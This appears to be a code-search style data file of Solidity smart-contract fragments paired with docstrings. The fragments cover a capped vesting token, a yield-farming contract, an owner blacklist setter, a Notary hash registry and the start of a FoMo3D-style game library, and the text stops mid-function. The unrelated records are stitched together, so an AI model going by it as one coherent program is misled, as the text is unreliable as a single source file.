Returns the cap on the token's total supply. */ function cap() public view returns (uint256) { return _cap; } function circulatingSupply() public view returns (uint256) { return totalSupply().sub(_totalLock); } function totalLock() public view returns (uint256) { return _totalLock; } /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - minted tokens must not cause the total supply to go over the cap. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); if (from == address(0)) { // When minting tokens require(totalSupply().add(amount) <= _cap, "ERC20Capped: cap exceeded"); } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual override { super._transfer(sender, recipient, amount); _moveDelegates(_delegates[sender], _delegates[recipient], amount); } /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } function totalBalanceOf(address _holder) public view returns (uint256) { return _locks[_holder].add(balanceOf(_holder)); } function lockOf(address _holder) public view returns (uint256) { return _locks[_holder]; } function lastUnlockBlock(address _holder) public view returns (uint256) { return _lastUnlockBlock[_holder]; } function lock(address _holder, uint256 _amount) public onlyOwner { require(_holder != address(0), "ERC20: lock to the zero address"); require(_amount <= balanceOf(_holder), "ERC20: lock amount over blance"); _transfer(_holder, address(this), _amount); _locks[_holder] = _locks[_holder].add(_amount); _totalLock = _totalLock.add(_amount); if (_lastUnlockBlock[_holder] < lockFromBlock) { _lastUnlockBlock[_holder] = lockFromBlock; } emit Lock(_holder, _amount); } function canUnlockAmount(address _holder) public view returns (uint256) { if (block.number < lockFromBlock) { return 0; } else if (block.number >= lockToBlock) { return _locks[_holder]; } else { uint256 releaseBlock = block.number.sub(_lastUnlockBlock[_holder]); uint256 numberLockBlock = lockToBlock.sub(_lastUnlockBlock[_holder]); return _locks[_holder].mul(releaseBlock).div(numberLockBlock); } } function unlock() public { require(_locks[msg.sender] > 0, "ERC20: cannot unlock"); uint256 amount = canUnlockAmount(msg.sender); // just for sure if (amount > balanceOf(address(this))) { amount = balanceOf(address(this)); } _transfer(address(this), msg.sender, amount); _locks[msg.sender] = _locks[msg.sender].sub(amount); _lastUnlockBlock[msg.sender] = block.number; _totalLock = _totalLock.sub(amount); } // This function is for dev address migrate all balance to a multi sig address function transferAll(address _to) public { _locks[_to] = _locks[_to].add(_locks[msg.sender]); if (_lastUnlockBlock[_to] < lockFromBlock) { _lastUnlockBlock[_to] = lockFromBlock; } if (_lastUnlockBlock[_to] < _lastUnlockBlock[msg.sender]) { _lastUnlockBlock[_to] = _lastUnlockBlock[msg.sender]; } _locks[msg.sender] = 0; _lastUnlockBlock[msg.sender] = 0; _transfer(msg.sender, _to, balanceOf(msg.sender)); } /// @dev A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "yoda::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "yoda::delegateBySig: invalid nonce"); require(now <= expiry, "yoda::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "yoda::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "yoda::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // File: contracts/yodaMasterFarmer.sol // yodaMasterFarmer pragma solidity 0.6.12; interface IMigratorToyodaSwap { // Perform LP token migration from legacy UniswapV2 to yodaSwap. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to UniswapV2 LP tokens. // yodaSwap must mint EXACTLY the same amount of yodaSwap LP tokens or // else something bad will happen. Traditional UniswapV2 does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } // yodaMasterFarmer is the master of yoda. He can make yoda and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once yoda is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract yodaMasterFarmer is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 rewardDebtAtBlock; // the last block user stake // // We do some fancy math here. Basically, any point in time, the amount of yodas // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accyodaPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accyodaPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. yodas to distribute per block. uint256 lastRewardBlock; // Last block number that yodas distribution occurs. uint256 accyodaPerShare; // Accumulated yodas per share, times 1e12. See below. } // The yoda TOKEN! BabyYoda public yoda; // Dev address. address public devaddr; // yoda tokens created per block. uint256 public REWARD_PER_BLOCK; // Bonus muliplier for early yoda makers. uint256[] public REWARD_MULTIPLIER = [128, 128, 64, 32, 16, 8, 4, 2, 1]; uint256[] public HALVING_AT_BLOCK; // init in constructor function uint256 public FINISH_BONUS_AT_BLOCK; // The block number when yoda mining starts. uint256 public START_BLOCK; uint256 public constant PERCENT_LOCK_BONUS_REWARD = 75; // lock 75% of bounus reward in 1 year uint256 public constant PERCENT_FOR_DEV = 10; // 10% reward for dev // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorToyodaSwap public migrator; // Info of each pool. PoolInfo[] public poolInfo; mapping(address => uint256) public poolId1; // poolId1 count from 1, subtraction 1 before using with poolInfo // Info of each user that stakes LP tokens. pid => user address => info mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); event SendyodaReward(address indexed user, uint256 indexed pid, uint256 amount, uint256 lockAmount); constructor( BabyYoda _yoda, address _devaddr, uint256 _rewardPerBlock, uint256 _startBlock, uint256 _halvingAfterBlock ) public { yoda = _yoda; devaddr = _devaddr; REWARD_PER_BLOCK = _rewardPerBlock; START_BLOCK = _startBlock; for (uint256 i = 0; i < REWARD_MULTIPLIER.length - 1; i++) { uint256 halvingAtBlock = _halvingAfterBlock.mul(i + 1).add(_startBlock); HALVING_AT_BLOCK.push(halvingAtBlock); } FINISH_BONUS_AT_BLOCK = _halvingAfterBlock.mul(REWARD_MULTIPLIER.length - 1).add(_startBlock); HALVING_AT_BLOCK.push(uint256(-1)); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { require(poolId1[address(_lpToken)] == 0, "yodaMasterFarmer::add: lp is already in pool"); if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > START_BLOCK ? block.number : START_BLOCK; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolId1[address(_lpToken)] = poolInfo.length + 1; poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accyodaPerShare: 0 })); } // Update the given pool's yoda allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorToyodaSwap _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 yodaForDev; uint256 yodaForFarmer; (yodaForDev, yodaForFarmer) = getPoolReward(pool.lastRewardBlock, block.number, pool.allocPoint); if (yodaForDev > 0) { yoda.mint(devaddr, yodaForDev); //For more simple, I lock reward for dev if mint reward in bonus time if (block.number <= FINISH_BONUS_AT_BLOCK) { yoda.lock(devaddr, yodaForDev.mul(PERCENT_LOCK_BONUS_REWARD).div(100)); } } yoda.mint(address(this), yodaForFarmer); pool.accyodaPerShare = pool.accyodaPerShare.add(yodaForFarmer.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // |--------------------------------------| // [20, 30, 40, 50, 60, 70, 80, 99999999] // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 result = 0; if (_from < START_BLOCK) return 0; for (uint256 i = 0; i < HALVING_AT_BLOCK.length; i++) { uint256 endBlock = HALVING_AT_BLOCK[i]; if (_to <= endBlock) { uint256 m = _to.sub(_from).mul(REWARD_MULTIPLIER[i]); return result.add(m); } if (_from < endBlock) { uint256 m = endBlock.sub(_from).mul(REWARD_MULTIPLIER[i]); _from = endBlock; result = result.add(m); } } return result; } function getPoolReward(uint256 _from, uint256 _to, uint256 _allocPoint) public view returns (uint256 forDev, uint256 forFarmer) { uint256 multiplier = getMultiplier(_from, _to); uint256 amount = multiplier.mul(REWARD_PER_BLOCK).mul(_allocPoint).div(totalAllocPoint); uint256 yodaCanMint = yoda.cap().sub(yoda.totalSupply()); if (yodaCanMint < amount) { forDev = 0; forFarmer = yodaCanMint; } else { forDev = amount.mul(PERCENT_FOR_DEV).div(100); forFarmer = amount; } } // View function to see pending yodas on frontend. function pendingReward(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accyodaPerShare = pool.accyodaPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply > 0) { uint256 yodaForFarmer; (, yodaForFarmer) = getPoolReward(pool.lastRewardBlock, block.number, pool.allocPoint); accyodaPerShare = accyodaPerShare.add(yodaForFarmer.mul(1e12).div(lpSupply)); } return user.amount.mul(accyodaPerShare).div(1e12).sub(user.rewardDebt); } function claimReward(uint256 _pid) public { updatePool(_pid); _harvest(_pid); } // lock 75% of reward if it come from bounus time function _harvest(uint256 _pid) internal { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accyodaPerShare).div(1e12).sub(user.rewardDebt); uint256 masterBal = yoda.balanceOf(address(this)); if (pending > masterBal) { pending = masterBal; } if(pending > 0) { yoda.transfer(msg.sender, pending); uint256 lockAmount = 0; if (user.rewardDebtAtBlock <= FINISH_BONUS_AT_BLOCK) { lockAmount = pending.mul(PERCENT_LOCK_BONUS_REWARD).div(100); yoda.lock(msg.sender, lockAmount); } user.rewardDebtAtBlock = block.number; emit SendyodaReward(msg.sender, _pid, pending, lockAmount); } user.rewardDebt = user.amount.mul(pool.accyodaPerShare).div(1e12); } } // Deposit LP tokens to yodaMasterFarmer for yoda allocation. function deposit(uint256 _pid, uint256 _amount) public { require(_amount > 0, "yodaMasterFarmer::deposit: amount must be greater than 0"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); _harvest(_pid); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); if (user.amount == 0) { user.rewardDebtAtBlock = block.number; } user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accyodaPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from yodaMasterFarmer. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "yodaMasterFarmer::withdraw: not good"); updatePool(_pid); _harvest(_pid); if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accyodaPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe yoda transfer function, just in case if rounding error causes pool to not have enough yodas. function safeyodaTransfer(address _to, uint256 _amount) internal { uint256 yodaBal = yoda.balanceOf(address(this)); if (_amount > yodaBal) { yoda.transfer(_to, yodaBal); } else { yoda.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } function getNewRewardPerBlock(uint256 pid1) public view returns (uint256) { uint256 multiplier = getMultiplier(block.number -1, block.number); if (pid1 == 0) { return multiplier.mul(REWARD_PER_BLOCK); } else { return multiplier .mul(REWARD_PER_BLOCK) .mul(poolInfo[pid1 - 1].allocPoint) .div(totalAllocPoint); } } }
Deposit LP tokens to yodaMasterFarmer for yoda allocation.
function deposit(uint256 _pid, uint256 _amount) public { require(_amount > 0, "yodaMasterFarmer::deposit: amount must be greater than 0"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); _harvest(_pid); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); if (user.amount == 0) { user.rewardDebtAtBlock = block.number; } user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accyodaPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); }
34,904
./partial_match/1/0x6f3c0D29e27BD76b45063EC6F4641F07F260AE5A/sources/TrueStealth.sol
Cannot blacklist contract, LP pair, or anything that would otherwise stop trading entirely.
function setBlacklistEnabled(address account, bool enabled) external onlyOwner { initializer.setBlacklistEnabled(account, enabled); }
9,346,487
./partial_match/42/0xFFab53b419d6a99d69AEf25b895F6281469135DA/sources/ContractB.sol
top up the available balance. -------------------------------- amount --> the amount to lock up. term --> the term for the lock up. lock --> whether a new term is chosen or not. ------------------------------- returns whether successfully topped up or not./
function topUp(uint256 amount) external returns (bool) { require(amount > 0, "amount must be larger than zero"); require(_token.transferFrom(msg.sender, address(this), amount), "amount must be approved"); _users[msg.sender].availableBalance = getAvailableTopUp(msg.sender).add(amount); _users[msg.sender].delay = now.add(maturity); emit Added(msg.sender, amount); return true; }
3,321,100
/* ---------------------------------------------------------------------------- Author: Andrijan Ostrun April, 2018. github.com/aostrun ---------------------------------------------------------------------------- Smart Contract serving as Notary Public where you can protect an document or a file in general by storing it's hash value on the Ethereum blockchain. Every record besides file hash has parties associated with the record (can be any number of parties) which can come handy if you are using this as a medium to store real contracts. Every party associated with the record has to accept it before the record becomes valid. This stands as a protection for all parties involved. Creation of new record starts with providing: - Hash value of the file that is being protected (uint256) - Parties associated with the record (address[]) - Unix Timestamp for record expiration (uint256) -> current timestamp can be found at: https://www.unixtimestamp.com/ -> Creation of the record returns unique record ID that has to be remembered by parties if they want to access that record ever again. Example of record creation: createRecord(2142131241, ["address#1", "address#2", "address#3"], 2523910141) Parties accept record by calling function acceptRecord from their address. Function takes record ID as an argument. File can be verified by calling verify function. Function can be called only from address that is party on particulat record. Function takes record ID and hash value that we want to verify as arguments and returns boolean value, true if provided hash value matches one on the record. */ pragma solidity ^0.4.21; contract Notary{ /* Mapping holding the records */ mapping( uint256 => Record ) private records; /* Records counter, unique ID for every record */ uint256 private currentId; struct Record{ // Hash of the file that this record is protecting uint256 hash; // Indicate which address is party on this record address [] parties; // Store acknowledgment of this record by the party mapping( address => bool ) parties_approvals; // Store the timestamp of record creation uint256 createdAt; // Record is valid if now < validUntil uint256 validUntil; // Guard against bruteforce attacks uint256 lastFailedTest; } event NewRecordCreated(uint256 recordId); /* Only parties that are associated with the record can call function */ modifier onlyParty(uint256 recordId){ // Iterate over parties and check if there sender of the // message is a party on this record for(uint i = 0; i < records[recordId].parties.length; i++){ if(records[recordId].parties[i] == msg.sender){ _; return; } } // If sender is not party on this record, revert revert(); } /* Only valid records can be accesed */ modifier onlyValid(uint256 recordId){ require(records[recordId].validUntil >= now); _; } /* Constructor, initialize record counter */ function Notary() public{ currentId = 0; } /* Create new record and add parties associated with this record and set its validity time uint256 hash, address[] _parties, uint256 validUntil */ function createRecord(uint256 hash, address[] _parties) external returns (uint256 _recordId) { // Limit max number of parties to 10 // Create new record Record newRecord = records[currentId]; // = Record(0, new address[](0), new address[](0), 0, 0, 0); newRecord.hash = hash; newRecord.validUntil = now + 1 hours; // Add parties and init values to true // indicating that address is party on this record for(uint8 i = 0; i < _parties.length; i++){ newRecord.parties.push(_parties[i]); //newRecord.parties[_parties[i]] = true; } _recordId = currentId; // Uncomment if you want to trigger event when new record is created //emit NewRecordCreated(currentId); currentId = currentId + 1; } /* Every party associated with the record has to accept the record to make it valid. Accepting the record is done by calling this function (acceptRecord) from the address of the involved party. */ function acceptRecord(uint256 recordId) onlyParty(recordId) onlyValid(recordId) external { records[recordId].parties_approvals[msg.sender] = true; } // Return the record hash function getRecordInfo(uint256 recordId) external constant returns (uint256, uint256) { return (records[recordId].createdAt, records[recordId].validUntil); } function getParties(uint256 recordId) onlyParty(recordId) external constant returns (address[]) { return records[recordId].parties; } // Checks if the given hash matches recorded hash function verify(uint256 recordId, uint256 test_hash) onlyParty(recordId) external returns (bool _res) { /* Prevent bruteforce attacks, after every failed test wait 30s before testing again. */ //require(records[recordId].lastFailedTest + 30 seconds < now); // Iterate over all parties associated with this record and check for // their approval for(uint i=0; i < records[recordId].parties.length; i++){ if (records[recordId].parties_approvals[ records[recordId].parties[i] ] == false){ // If one of the parties didn't approve this record, revert revert(); } } // Compare testing hash with the recorded hash if(test_hash == records[recordId].hash){ _res = true; }else{ records[recordId].lastFailedTest = now; _res = false; } } }
Return the record hash
function getRecordInfo(uint256 recordId) external constant returns (uint256, uint256) { return (records[recordId].createdAt, records[recordId].validUntil); }
2,548,837
pragma solidity ^0.4.24; // File: contracts/interface/DiviesInterface.sol interface DiviesInterface { function deposit() external payable; } // File: contracts/interface/otherFoMo3D.sol interface otherFoMo3D { function potSwap() external payable; } // File: contracts/interface/PlayerBookInterface.sol interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getPlayerLevel(uint256 _pID) external view returns (uint8); function getNameFee() external view returns (uint256); function deposit() external payable returns (bool); function updateRankBoard( uint256 _pID, uint256 _cost ) external; function resolveRankBoard() external; function setPlayerAffID(uint256 _pID,uint256 _laff) external; function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all, uint8 _level) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all, uint8 _level) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all, uint8 _level) external payable returns(bool, uint256); } // File: contracts/interface/HourglassInterface.sol interface HourglassInterface { function() payable external; function buy(address _playerAddress) payable external returns(uint256); function sell(uint256 _amountOfTokens) external; function reinvest() external; function withdraw() external; function exit() external; function dividendsOf(address _playerAddress) external view returns(uint256); function balanceOf(address _playerAddress) external view returns(uint256); function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool); function stakingRequirement() external view returns(uint256); } // File: contracts/library/SafeMath.sol /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } // File: contracts/library/UintCompressor.sol library UintCompressor { using SafeMath for *; function insert(uint256 _var, uint256 _include, uint256 _start, uint256 _end) internal pure returns(uint256) { // check conditions require(_end < 77 && _start < 77, "start/end must be less than 77"); require(_end >= _start, "end must be >= start"); // format our start/end points _end = exponent(_end).mul(10); _start = exponent(_start); // check that the include data fits into its segment require(_include < (_end / _start)); // build middle if (_include > 0) _include = _include.mul(_start); return((_var.sub((_var / _start).mul(_start))).add(_include).add((_var / _end).mul(_end))); } function extract(uint256 _input, uint256 _start, uint256 _end) internal pure returns(uint256) { // check conditions require(_end < 77 && _start < 77, "start/end must be less than 77"); require(_end >= _start, "end must be >= start"); // format our start/end points _end = exponent(_end).mul(10); _start = exponent(_start); // return requested section return((((_input / _start).mul(_start)).sub((_input / _end).mul(_end))) / _start); } function exponent(uint256 _position) private pure returns(uint256) { return((10).pwr(_position)); } } // File: contracts/library/NameFilter.sol library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } // File: contracts/library/OPKKeysCalcLong.sol //============================================================================== // | _ _ _ | _ . // |<(/_\/ (_(_||(_ . //=======/====================================================================== library OPKKeysCalcLong { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { 